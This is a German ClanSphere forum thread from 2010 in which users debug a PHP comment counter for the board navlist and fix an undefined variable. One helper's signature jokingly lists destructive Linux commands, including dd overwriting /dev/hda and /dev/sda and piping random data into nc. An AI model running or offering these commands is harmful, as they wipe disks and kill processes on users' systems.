News - Features - Downloads - Forum - Team - Support - Switch View: Screen
Login - Registrierung - Passwort vergessen

Antworten: 6
Seite [1]
RaPiD


Geekboy




Beiträge: 1192
# Thema - 22.12.2010 um 12:06 Uhr
Hi, ich hab versucht einen Comments zähler in der navlist von Board ein zu bauen leiter steht da nur (+) und nicht (+1) oder (+0)
was mache ich falsch, habe nun 4 mögliche codes probiert...

möchte gerne das pro navlist vom forum thema die wert anzahl der beiträgt zu sehen sind ein beispiel.

| icon | datum | theardname(link) | comments |

in den ########## ist der hinzugefügte neue code

navlist.php +-
 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
1. / 2. / ... 
<?php
// ClanSphere 2009 - www.clansphere.net
// $Id$

$cs_lang cs_translate('board');


$data = array();
$figures 38;

$tables  'threads thr INNER JOIN {pre}_board frm ON frm.board_id = thr.board_id ';
$tables .= 'LEFT JOIN {pre}_read red ON thr.threads_id = red.threads_id AND red.users_id = \''.$account['users_id'].'\'';
$cells   'thr.threads_headline AS threads_headline, thr.threads_id AS threads_id, ';
$cells  .= 'thr.threads_last_time AS threads_last_time, frm.board_name AS board_name, frm.board_id AS board_id';
$cond    'frm.board_access <= \''.$account['access_board'].'\' AND frm.board_pwd = \'\'';
$order   'thr.threads_last_time DESC'
$data['threads'] = cs_sql_select(__FILE__,$tables,$cells,$cond,$order,0,6);

if(empty(
$data['threads'])) {
  echo 
$cs_lang['no_new_posts'];
}
else {
  
$count_threads count($data['threads']);
  for (
$run 0$run $count_threads$run++) {

##########
    
$where3 "comments_mod = 'threads' AND comments_fid = " $threads['threads_id'];
    
$data['threads'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);
##########

    
$data['threads'][$run]['threads_date'] = cs_date('unix',$data['threads'][$run]['threads_last_time'],0,1);
    
$data['threads'][$run]['threads_headline'] = cs_secure($data['threads'][$run]['threads_headline']);
    
$data['threads'][$run]['threads_headline_short'] = strlen($data['threads'][$run]['threads_headline']) <= $figures ?
    
$data['threads'][$run]['threads_headline'] : substr($data['threads'][$run]['threads_headline'],0,$figures-2) . '...';
  }
  echo 
cs_subtemplate(__FILE__,$data,'board','navlist');
}


navlist.tpl +-
<div style="float:left; width:428px;">
{loop:threads}
<div style="margin:4px; border-bottom:1px solid #cccccc; width:420px; height:19px;">
<div style="float:left; width:16px; height:16px;">
{icon:tutorials}
</div>
<div style="float:left; margin:0px 0px 0px 4px; color:#8a8a8a;">
- {threads:threads_date} -
</div>
<div style="float:left; margin:0px 0px 0px 4px; width:260px;">
<a href="{url:board_thread:where={threads:threads_id}:start={ threads:new_posts}}">{threads:threads_headline_short} </a>
</div>
<div style="float:left; margin:0px 0px 0px 4px; text-align:right;">
<div style="float:left; margin:0px 2px 0px 0px; width:16px; height:16px;">
<a href="{files:files_url}"><img src="/symbols/crystal_project/16/comments_add.png" alt="" style="width:16px; height:16px;" /></a>
</div>
<div style="float:left; margin:1px 0px 0px 2px;">(<a href="{url:board_thread:where={threads:threads_id}:start={ threads:new_posts}}">+{threads:comments_count}</a >)
</div>
</div>

</div>
{stop:threads}
</div>


Zuletzt editiert von RaPiD am 23.12.2010 um 14:36 Uhr (1x Editiert)
Inaktiv
Mindcrime


Geekboy





Beiträge: 1155
# Antwort: 1 - 24.12.2010 um 11:27 Uhr
Du musst 'board' benutzen als comments_mod in dein where3 query, nicht 'threads'...


Inaktiv
|
RaPiD
Thread-Ersteller


Geekboy




Beiträge: 1192
# Antwort: 2 - 24.12.2010 um 11:51 Uhr
Habe ich auch schon versucht alle 'threads' in 'board' aber irgend wie geht der Beiträge zähler in der Navlist auch nicht. Hast Du noch eine andere idee oder lössung dafür?


Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 3 - 25.12.2010 um 04:26 Uhr
In der Zeile 27 steht folgendes:

 
1.
2.
1. / 2. / ... 
 $threads['threads_id']


Doch leider kann ich nirgends in deiner Datei die Definition davon finden. Daher müsste das wohl der Fehler sein.


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Zuletzt editiert von pHaeno* ClanSphere Team am 25.12.2010 um 04:26 Uhr (2x Editiert)
Inaktiv
|
RaPiD
Thread-Ersteller


Geekboy




Beiträge: 1192
# Antwort: 4 - 25.12.2010 um 07:50 Uhr
Thx pHaeno*, aber geht nicht, habe jetzt verschiede varianten probiert, und trotzdem geht nichts. :(

versuch 1 +-
 
1.
2.
1. / 2. / ... 
     $where3 "comments_mod = 'threads' AND comments_fid = " $threads['threads_id'];
    
$data['threads'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);


versuch 2 +-
 
1.
2.
1. / 2. / ... 
     $where3 "comments_mod = 'board' AND comments_fid = " $board['threads_id'];
    
$data['threads'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);


versuch 3 +-
 
1.
2.
1. / 2. / ... 
     $where3 "comments_mod = 'board' AND comments_fid = " $board['board_id'];
    
$data['threads'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);


versuch 4 +-
 
1.
2.
1. / 2. / ... 
     $where3 "comments_mod = 'board' AND comments_fid = " $board['board_id'];
    
$data['board'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);


versuch 5 +-
 
1.
2.
1. / 2. / ... 
     $where3 "comments_mod = 'threads' AND comments_fid = " $board['threads_id'];
    
$data['board'][$run]['comments_count'] = cs_sql_count(__FILE__'comments'$where3);


irgend wie raffe ich das nicht wäre nett wenn mir jemand den code vollständig korrigiert und mir ihn postet, danke.

PS: das Login bei euch ist etwas zu weit nach rechts ausserhalb der Login boxe.


Zuletzt editiert von RaPiD am 25.12.2010 um 07:52 Uhr (2x Editiert)
Inaktiv
|
Mindcrime


Geekboy





Beiträge: 1155
# Antwort: 5 - 25.12.2010 um 11:36 Uhr
Das sollte gehen, hatte $threads uebersehen:

##########
$where3 = "comments_mod = 'board' AND comments_fid = " . $data['threads'][$run]['threads_id'];
$data['threads'][$run]['comments_count'] = cs_sql_count(__FILE__, 'comments', $where3);
##########


Inaktiv
|
RaPiD
Thread-Ersteller


Geekboy




Beiträge: 1192
# Antwort: 6 - 25.12.2010 um 13:03 Uhr
ach soooooooooooooooo jetzt sehe ich was pHaeno* mit "Definition" meint.
Danke euch beiden es hat nun geklappt und funktioniert bestens.


Inaktiv
|

Dieses Thema wurde von TeQu!La ClanSphere Team PM geschlossen.

Antworten: 6
Seite [1]




ClanSphere Project - Mailus - Imprint - Disclaimer - Scriptinfo